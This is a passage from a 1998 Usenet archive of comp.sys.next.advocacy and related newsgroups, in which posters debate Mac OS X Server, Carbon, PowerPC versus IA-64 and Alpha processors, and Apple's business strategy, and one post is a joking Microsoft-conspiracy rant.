shipping. After all, Steve has to do something to keep everyone guessing.
>I don't call a time-frame of 2000 or LATER, being "on the brink of being a
>major player in the PC world."
But it does go along with the "...movng on to the next big thing" part of
the "milk the Mac for all its worth while moving on to the next big thing"
plan.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 18 Oct 1998 17:43:12 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70d9bg$fpc@news1.panix.com>
References: <3626A8A1.A166967B@nstar.net> <706ejp$ncd$1@holly.prod.itd.earthlink.net>
On Thu, 15 Oct 1998 23:38:14 +0000, Ziya Oz <ZiyaOz@earthlink.net> wrote:
>"Michael J. Peck" <mjpeck@nstar.net> wrote:
>>Unix is becoming a household name, practically a brand, to the
>>rest of the world.
>Oh yeah, my grandmother and the grocer are all on my back to see when they get
>their hands on CLI and compiler tools.
While I don't think that I'll be debating BSD vs Linux at the Thanksgiving day
table this year, I do agree that Unix is no longer on the death watch that NT
marketing made everyone think it was. A number of unix to NT migration projects
that I was aware of are now on hold, if not dead.
Subject: Re: Motorola's G4 PowerPC
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
References: <3629900d$0$7319@nntp1.ba.best.com> <B24EE913-10EC3@206.165.43.120>
In-Reply-To: <B24EE913-10EC3@206.165.43.120>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 18 Oct 1998 17:56:28 GMT
Message-ID: <362a2bcc$0$7314@nntp1.ba.best.com>
On 10/17/98, "Lawson English" wrote:
>Kenneth C. Dyke <kcd@babylon5.jumpgate.com> said:
>
>Doing any operation in hardware takes as long as the designers decide
>that it does. There's no law of CPU design that says that floating
>point is faster than fixed. In fact, it's the other way around.
>Designers just spend more gates on making FP operations faster in some
>cases.
Well gee, I wonder why that is... maybe because people would prefer to
have really fast floating point operations than really fast fixed point
operations? Nah, *couldn't* be...
FWIW, there are no 64x64 -> 128 bit multiply instructions currently
defined for the PowerPC architecture. The upshot of that is that
you'll have to execute two multiplies (each one will give you either
the uppor or lowen 64 bits of the 128 bit result) and then manually
extract the correct 32 bits from each result to get the 64-bit fixed
point result again. That's at least 4 instructions. If I use the FPU
instead, it only takes one, and I can also do a floating point add 'for
free'.
So yeah Lawson, maybe in some hypothetical CPU that exists in your
universe, using fixed point math could be made to be faster. I'll
stick with the known universe in this case and go with floating point.
>But not every game makes use of 3D hardware. And using fixed point
>math IS easier in some situations.
Okay, name them. (The *easier* situations). I can think of a few,
but I'm curious to know what they are, coming from your vast experience
doing fixed-point game programming.
BTW, what games have you worked on that used fixed point math?
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 18 Oct 1998 18:17:32 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn72kc5r.mbi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net>
NNTP-Posting-Date: 18 Oct 1998 18:17:32 GMT
On Fri, 16 Oct 1998 19:17:05 -0500, Tim Olson <tim@jumpnet.com> wrote:
:In article <3627893A.A296560B@mci.com>, David.Hinz@mci.com wrote:
:
:| Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
:| what Motorola's plans are for releasing a 64-bit processor in the Gx
:| series? Of course the next question is, when will Mac OS X be 64-bit?!?
:
:Why do you want 64-bit processors? Are you really running out of the 4GB
:address space on your desktop machine?
Indeed some people do. 4GB of physical RAM is not even unusual for
some scientific problems or databases.
2^64 bits of actual physical memory is not feasible anytime remotely this
upcoming century, yet that much address space becomes quite interesting.
You can sometimes exploit massive address spaces to re-do algorithms in
interesting ways.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
Message-ID: <362A31E5.39218D89@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com> <70d957$flm@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Sun, 18 Oct 1998 13:22:29 -0500
NNTP-Posting-Date: Sun, 18 Oct 1998 14:23:02 EDT
Organization: ISPNews http://ispnews.com
Sal Denaro wrote:
[cut]
> Huh?
>
> You consider tools that help you port MFC Apps to be native X11, and
> tools to port X/Motif Apps to native NT to be porting tools, but you don't
> consider Carbon a porting tool?
You got it. Carbon isn't a porting tool, it's a *port*.
[cut]
MJP
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 20 Oct 1998 01:24:59 GMT
Organization: University of Maryland, College Park
Message-ID: <70gopb$dq2$1@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: Michael Peck (Michael.Peck@ericsson.com) wrote:
: : Anil T Maliyekke wrote:
: : > As for the UNIX market, I think Intel is going about things the wrong
: : > way. Trying to get every single UNIX vendor to port their OSes
: : > over to IA-64 is just going to create massive confusion and doubt
: : > in customers. And it's just going to weaken the companies offering
: : > UNIX. Besides the more Intel tries, the more likely Microsoft will
: : > find a way of promoting another hardware platform and delaying
: : > support for IA-64.
: : Intel was actually the driving force behind a recent attempt at forming
: : collaboration over a unified UNIX. I think Intel has very clear goals,
: : here; in any case the danger of Microsoft moving to another hardware
: : platform wouldn't scare me if I were Craig Barrett (and I'm sure it
: : doesn't).
: : MJP
: But the prospect of Microsoft mucking around with Merced support
: should scare Intel.
That's why all the alternative OS push for Intel. If NT wasn't ready/
scalable enough, Intel wants to have unix ready for push into bigger
iron than they've been able to with IA-32.
: And who knows, maybe IBM will suddenly decide
: to adopt Alpha's for NT servers. It's a possibility if IBM
: adopts K7's for workstations and servers.
I don't see it happening.
K7 -> AMD.
Alpha -> Compaq.
AMD <-> IBM Vendor <-> customer
Compaq <-> IBM Direct competitor in nearly every field up and down.
Engineering wise it would not be difficult, businesswise, I would not
want to support my competitor's alternative processor architecture,
especially since I have one of my own, PowerPC.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 18 Oct 1998 18:28:26 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn72kcq6.mbi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu>
NNTP-Posting-Date: 18 Oct 1998 18:28:26 GMT
:: Pixar's
:: next full-length feature needs to be rendered on high-end Apple Rhapsody
:: boxes (1).
:
:I don't think getting next rendered movie rendered on Apple hardware
:would do much good.
I believed that Jobs has repatedly insisted that his job as
interim-Apple-CEO-for-life will not lead him to override the technical
judgement of his Pixar employees regarding their computational
procurement, for the obvoius reason that he would incur great
disrespect from the Pixar staff. And since all of them could obtain
lucrative alternate employment....
It would be nice if Apple happened to make computers sufficiently good
for Pixar to want them.
:: (1) If enough early-adopters were excited about Rhapsody's value, Apple
:: could begin to erase the Unix-phobia that overwhelms its userbase. This,
:: of course, depends on Apple *wanting* to accomplish this. Time will
:: tell. Unix is becoming a household name, practically a brand, to the
:: rest of the world.
Not sure about that. I don't think Apple wants to be the next one to
take on the interminable and incessant burden of trying to de-geek
Unix. Jobs did the technical part very successfully in 1989, and look
what happened.
Linux is a different and more successful story, it's working by making
Unix geekdom subversive, radical and cool.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: -@-._
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: The vast microsoft conspiricy (Journalism)
Date: Mon, 19 Oct 1998 22:14:37 -0500
Organization: Lightlink Internet
Message-ID: <--1910982214370001@port36.lightlink.com>
This messege is somewhat rushed, as my time is fleeting, but its
content should be very informative. I provides evidence of further
efforts of the Microsoft Imperium to implant themselves within the deep
consious and sub consious of the Worlds people.
The following article appeared in the daily newspaper of a fairly small
upstate New York urban center, on Oct. 12. The editiorial was not
attributed to anyone, or any organization. It was entitled "Make Oct. 12
Explorers day"
The editiorial then droned on about how the American Holiday should be
renamed to celebrate figures like John Glenn, de Gama, Lewis and Clark,
Sacagawea, Lindbergh, Earhart, Armstrong, Salk, Curie. Then, in another
sentence, deviod of any other names, was the name Bill Gates.
"It could be about pioneers like Bill Gates, who explored the
possibilities of computers and changed the world in the process..."
Now, the term ***Explorers*** (Note the term 'explorers' Explorers.
Explorers'. Internet Explorers') day becomes slightly more huanting.
Clearly, Bill Gates is being portrayed as one of humanities great fathers,
and his foul concoctions as chariots leading Earth to glory. This is all
in step with MS' goals of having hunams think of it as a loving and
nurturing, and something nessacery to the survival of humanity. This in
turn will lead to Microsoft love, and finally, destruction of government
property by crazed microsoft mobs. This will program will leave the weak
minded without the defenses needed when Microsoft starts the crackdowns.
Not entering my email adress or name should give me an extra five or so
minutes to escape.
Good bye.
--
Remove "MANGO" from email adress to contact me
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 18 Oct 1998 19:13:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70deko$hbk@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com> <70d957$flm@news1.panix.com> <362A31E5.39218D89@nstar.net>
On Sun, 18 Oct 1998 13:22:29 -0500, Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> You consider tools that help you port MFC Apps to be native X11, and
>> tools to port X/Motif Apps to native NT to be porting tools, but you don't
>> consider Carbon a porting tool?
>You got it. Carbon isn't a porting tool, it's a *port*.
And PhotoShop running as a Carbon App isn't a port? And if it is, then why
don't you consider the tool used to make that port possible a porting tool?
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
Date: 20 Oct 1998 02:50:15 GMT
Organization: AOL http://www.aol.com
References: <x7hfx0uzdx.fsf@loathe.com>
Message-ID: <19981019225015.06657.00001951@ng90.aol.com>
Matt Evans said:
<Lots of fascinating and well-argued explanation of SMP, etc. snipped>
>That was a nice directionless rant. I hope you all enjoyed it.
Scarcely directionless, and very enjoyable and highly educational. Nifty e-mail
address as well.
I believe that one conclusion which may be drawn from this thread is that one
must do something in a world of free software which isn't adequatly addressed
by said free software.
For Solaris that seems to be SMP and support
For M$ it seems to be bundling and media relations
For the Amiga, it was desktop video and inspiring a fanatical userbase.
For Apple right now, it's providing a fairly easy-to-use system with a suitable
base of software (and attendant user expertise/industry investment) to make it
a more or less viable alternative.
I don't think the latter is going to be enough though in the long run. the
PowerMac 9500/180MP which I use at work quit pasting today--no explainable
reason for it, and no solution but to re-start and get everything loaded into
memory again.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Mon, 19 Oct 1998 22:52:33 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1910982252330001@r4149.resnet.cornell.edu>
References: <ckoller-ya02408000R1910981247230001@netnews.worldnet.att.net> <362BA01B.D0CA294E@ericsson.com>
In article <362BA01B.D0CA294E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Let me get this straight: MacOS wasn't good enough, and Rhapsody ports
> wouldn't be written, so the proper solution is to wait until 1999 to
> ship a re-vamp of the old MacOS Toolbox? In other words, instead of
> shipping Rhapsody right away and improving MacOS in the meantime, it was
> better to let MacOS stagnate and push Rhapsody way out?
Naaah... the proper solution was to release the revamped toolbox in 1996
as Copland.
Of course, now we find ourselves in the interesting position of
speculating whether or not OS X server will be released at all.
But to go back to the question of whether Apple is any better than
Microsoft if their products are no better... I say Apple *is* better,
because Apple is not so snooty about shoving their junk down everyone's
throat.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 20:07:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com>
In article <70g2s9$t17@shelob.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
>I think that's the most rational explanation. I have concluded
>that Apple has a firm grasp on where it wants to be a year from now with Mac
>OS X, but *not* what it wants to do in the meantime with its predecessor.
>The tech is already fabulous, but the marketing case is hard to make between
>now and then. They don't want the first release to look like a failure --
>lest it cripple the later consumer version
And I can't think of a better reason why Apple *should* have
kept OPENSTEP as a product line until OS X was ready. Now
there is consideration to kill not only the product, but the
market which supported it; just because it has the same prefix
as the MacOS.
Best Regards.
CaHand
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 20 Oct 1998 02:35:03 GMT
Organization: University of Illinois at Chicago
Message-ID: <70gssn$bko$1@piglet.cc.uic.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu>
David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : And who knows, maybe IBM will suddenly decide
: : to adopt Alpha's for NT servers. It's a possibility if IBM
: : adopts K7's for workstations and servers.
: I don't see it happening.
: K7 -> AMD.
: Alpha -> Compaq.
: AMD <-> IBM Vendor <-> customer
: Compaq <-> IBM Direct competitor in nearly every field up and down.
: Engineering wise it would not be difficult, businesswise, I would not
: want to support my competitor's alternative processor architecture,
: especially since I have one of my own, PowerPC.
I'm not saying it would be an easy decision for them. But if I were
IBM, I would seriously consider whether or not I want to jump on
the IA-64 bandwagon:
a) it will be virtually impossible to distinguish one self from
your other competitors since Intel will do a lot of the development
and lower the cost of entry into the market
b) HP is too closely associated with Merced
c) IBM may end up being one of the larger manufacturers of Alpha's
and will get revenue from them
d) Compaq may succeed anyway in pushing Alpha's
e) It'll confuse the hell out of pro-Wintel stock and market
"analysts" and may just force everyone into a wait and see mode
regarding choosing a 64 bit NT platform.
The main reason why I wouldn't want to support Alpha, is that it
may boost Compaq/Digital's other operating systems and it is
a slippery slope. The best thing for IBM would be for the
x86 cloners to come up with a 64bit x86 extension...
: --
: davewang@kagututi.kecl.ntt.co.jp.meaningless
: All statements are personal opinions
: Not speaking for NTT or University of Maryland
: Nara, Japan.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 20 Oct 1998 03:51:17 GMT
Organization: I don't think so
Message-ID: <slrn72o2ga.l9.jason@jhste1.dyn.ml.org>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <70cesn$26p$2@news.idiom.com> <adtF13LHK.1sF@netcom.com>
Anthony D. Tribelli posted the following to comp.sys.mac.advocacy:
>: GCC has code generators available for more processors than any other
>: compiler, and its code quality is rarely exceeded by anything but
>: special-purpose, single-target compilers produced by the chip manufacturer.
>A myth, the quality of gcc code is spotty, good for some targets and
>mediocre for others. Try commercial compilers for Pentium and PowerPC.
Well, those commercial compilers tend to be single-target, as the original
poster mentioned. That's not to say that gcc output for PowerPC doesn't
blow goats, though.
--
Latvian Orthodox Priest: Is there one aspect of the faith that you find
particularly attractive?
George Costanza: I think - the hats.
-- Seinfeld
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-yYdCxERYfCTg@localhost>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <362B3FE6.B57084A9@nstar.net> <70fh7b$jm8@newsb.netnews.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 20 Oct 1998 03:57:29 GMT
Organization: IBM.NET
On Mon, 19 Oct 1998 14:09:47, gupta@knim.tm.tta.moc-mirror after @
thought aloud:
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >
> >Welcome to the age of the Internet. If the rumor is *not* true, it will
> >nevertheless have spread to nearly every Mac-interest Web site on the
> >planet by this morning. It's already on several mailing lists that I've
> >seen, newsgroups, and news sites. Stealth marketing was bad enough once
> >upon a time, but nowadays...
> >
> >Then again, if it *is* true, I take it all back. I'm sure that
> >hardworking NeXT developers are glad to have the news straight from a
> >rumor site rather than an official statement from Apple.
>
>
> When I read the rumor, my second reaction was that this might
> be a way of forcing Apple to declare its intentions.
Well now, that was my second reaction as well. :^)
My first thought was rather silly one though, that Apple had been
working on the Real Mac OS X, under their now-usual total secrecy
since summer adding support for the '97 PowerMac lines and getting
ready to release a stable beta #1 in November, complete with Carbon
support too. Then the damn second thought hit and pulled me back to
real world...
Brgds,
--
taiQ
[this space is intentionally blank]
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple as Linux vendor
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net> <x7hfx0uzdx.fsf@loathe.com> <david_-1910982213190001@s188-254.resnet.ucla.edu>
Message-ID: <362c26c5.0@news.depaul.edu>
Date: 20 Oct 98 05:59:33 GMT
In comp.sys.next.advocacy David Kurtz <david_@ucla.edu> wrote:
> In article <x7hfx0uzdx.fsf@loathe.com>, Matt Evans <bmajik@loathe.com> wrote:
> > If there were only *1 thing* Sun excelled at, it would be SMP and
> > multi-cpu machines and OSes. Who else has a multi-threaded mail reader,
> > standard, with the operating system ?
> Be.
NeXT/Apple (No SMP, but Mail.app is multithreaded.)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 20 Oct 1998 03:49:38 GMT
Organization: University of Illinois at Chicago
Message-ID: <70h18i$2bq$1@piglet.cc.uic.edu>
References: <70e9kf$20ju$1@piglet.cc.uic.edu> <362AB758.F311A1BD@nstar.net> <70ghgr$2kss$1@piglet.cc.uic.edu> <362BD6BE.EC5FAE54@ericsson.com>
Michael Peck (Michael.Peck@ericsson.com) wrote:
: Anil T Maliyekke wrote:
: > There isn't a way in the general case of not knowing if
: > the X server and the various applications running on the same
: > machine, if you want to avoid direct application to application
: > communication. A way of neogotiating a direct connection between
: > the two applications would otherwise be a good idea, especially in the
: > case of drag and drop of multiple large files.
: Direct connection between the two applications may not be possible, or
: may be totally unacceptable. In the case of cut-and-paste, applications
: can't be allowed to assume that the creator application is even still
: running. For drag-and-drop, while it's reasonable to assume that both
: applications are running, it is not proper to assume that a direct
: connection between the two apps is secure, efficient, or even possible.
: The X server is designed to create a foolproof connection between the
: two apps; it is not meant simply to be a facilitator.
I realize that in some cases its not possible to establish a
direct connection, but often in those cases you can't run X applications
to begin. As for security issues involving direct connections,
if you are running networked X applications, you ought to be aware
of whatever security risks are involved anyway. Perhaps what you
need is some sort of drag & drop data transfer arbritator that takes
into consideration security issues and connection methods. It can
help select the most efficient and secure data transfer method according
to some set of policies. The transfer method could be through
the file system, network, pipe, shared memory or some other form
of IPC/RPC/middleware.
: > Otherwise in the
: > case where you have some sort of file manager program running on
: > a machine where it has access to a bunch of pictures and then you have
: > a file viewer running on that same machine or a different machine,
: > neither of which are running the X server, you would be doing
: > two transfers of data and over a network no less. Plus you might
: > overload your little X terminal's memory if you start moving large objects
: > through it.
: That's the cost of network computing. In most cases, people are not
: actually moving this kind of data over the network; if they are they
: need to rethink their actions. Distributed computing has a way of
: breaking presumptions, as Peter Deutsch has often pointed out.
: MJP
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Tue, 20 Oct 1998 00:41:17 +0000
Organization: BM
Message-ID: <70h3s8$e1r$2@birch.prod.itd.earthlink.net>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com>
<B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com>
<70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com>
<ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
ch3@earthlink.net (CaHand) wrote:
>And I can't think of a better reason why Apple *should* have
>kept OPENSTEP as a product line until OS X was ready. Now
>there is consideration to kill not only the product, but the
>market which supported it; just because it has the same prefix
>as the MacOS.
I thought you supported the name change from Rhapsody (DOA) to MacOS X Server
claiming it intimated continued future support, what happened?
Ziya Oz
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: OSX Server cancelled...maybe says maccentral..
Message-ID: <RsuW1.628$nR3.2619313@news.rdc1.nj.home.com>
Date: Sun, 18 Oct 1998 23:03:13 GMT
NNTP-Posting-Date: Sun, 18 Oct 1998 16:03:13 PDT
Organization: @Home Network
http://www.maccentral.com/news/9810/18.macosx.shtml
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 20 Oct 1998 04:46:12 GMT
Organization: University of Maryland, College Park
Message-ID: <70h4ik$trg$1@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: I'm not saying it would be an easy decision for them. But if I were
: IBM, I would seriously consider whether or not I want to jump on
: the IA-64 bandwagon:
Intel is still just a vendor to IBM, and "supporting" Intel would still
be "better" than "supporting" Compaq, from IBM's perspective. This
IMO has ceased to be a technical merit sort of thing, just a business
decision.
: a) it will be virtually impossible to distinguish one self from
: your other competitors since Intel will do a lot of the development
: and lower the cost of entry into the market
IBM now makes most all its revenue from big big iron and servicing of
all kinds. With big iron it matters less that the initial price of
entry has been lowered, but the kind of service you can provide. IBM
excels in that area. IMO, IBM may not even mind if Dell sells an IA-64
box, since Dell currently does not have the support structure to
support that box, and as long as IBM can grab the servigin part of the
equation, IBM can still make a lot of dough. (even more than the sale of
hardware)
: b) HP is too closely associated with Merced
HP would be co-developer of IA-64, that is true. However, Intel now
designs most of IA-64 stuff, and IBM would purchase its chips from
Intel.
: c) IBM may end up being one of the larger manufacturers of Alpha's
: and will get revenue from them
IMO, the IBM-alpha story doesn't make much sense to me. IA-64 is
projected by everyone as the steam roller that is coming. For IBM
to take interest in Alpha they would be admitting that they have
2 elements they lack. 1. They would like to actively resist IA-64.
2. They lack the tool to do it. i.e. POWERPC is not sufficient a
tool to this end, and they will support another competitor's
product (Compaq Alpha) to do this. Again, IMO, the case for each
one is weak, and combined, it's even weaker.
: d) Compaq may succeed anyway in pushing Alpha's
IBM may get on the bandwagon if Alpha adoption takes off, but I don't
see them taking a proactive role as you sugget.
: e) It'll confuse the hell out of pro-Wintel stock and market
: "analysts" and may just force everyone into a wait and see mode
: regarding choosing a 64 bit NT platform.
I don't see IBM fighting another "jihad". OS/2 and PPC may or maynot
have lost money for IBM, but certainly took up a lot of resources
and attention that IBM could've directed elsewhere. IBM is doing
well now as a "solutions" company, where they can provide the full
range of sales and service, software and hardware. If alpha takes
off, I'm sure IBM will support it as well, but actively pushing
Alpha based boxes, I don't see that.
: The main reason why I wouldn't want to support Alpha, is that it
: may boost Compaq/Digital's other operating systems and it is
: a slippery slope. The best thing for IBM would be for the
: x86 cloners to come up with a 64bit x86 extension...
I *thought* that you were slamming X86's legacy code, IA-32 being a
32 bit extension with prefix modifiers for 16 bit X86. 64 bit X86 ISA
would probably be quite displeasing to the average Computer Scientist.
You can't just add more and larger registers to a new ISA and maintain
backward compatibility, there's only so many bits in the opcode map.
Without remapping the bits to the opcode, you'll end up with more
prefixes to denote 64 bit extensions. (It doesn't mean that Intel
didn't think about doing a 64 bit x86 extension as you've described,
IIRC, they did. That's what the original "p7" project was supposed
to be, but it was evaluated and scratched when HP proposed the
alliance, and pushed for a brand new ISA)
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 18 Oct 1998 23:33:21 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-1810981638320001@31.los-angeles-09.ca.dial-access.att.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net>
In article <36290128.BEF527F9@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Craig Koller wrote:
>
> [cut]
>
> > So, given the choice of a 100% customer-fulfilling DEAD Apple, and a
> > restructured, partially fulfilling LIVING, thriving and innovating Apple?
> >
> > C'mon...
>
> What's difference between the second choice and Microsoft?
>
> Just curious.
>
Where was the MS near-death experience? Are people simply blinding
themselves to the obvious? What Apple was doing before *DID NOT WORK*.
They *had* to make changes or die. Now this could have been done by
Amelio, but ultimately it was done by Jobs, probably the only one person
with the power to do so.
Microsoft is not restructured and remains far from the brink of any major
catastrophe (business-wise that is - legally, we'll leave it to the DOJ to
determine whether they made illegal moves to bolster their current
position) but should they dance too close to the "Big Buh-Bye" yes, of
course I would expect them to alter their course.
There *is* no comparison between Apple and Microsoft in this regard.
Message-ID: <362B59C0.DA2A5A18@mci.com>
From: David Hinz <David.Hinz@mci.com>
Organization: MCI WorldCom
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon, 19 Oct 1998 09:24:48 -0600
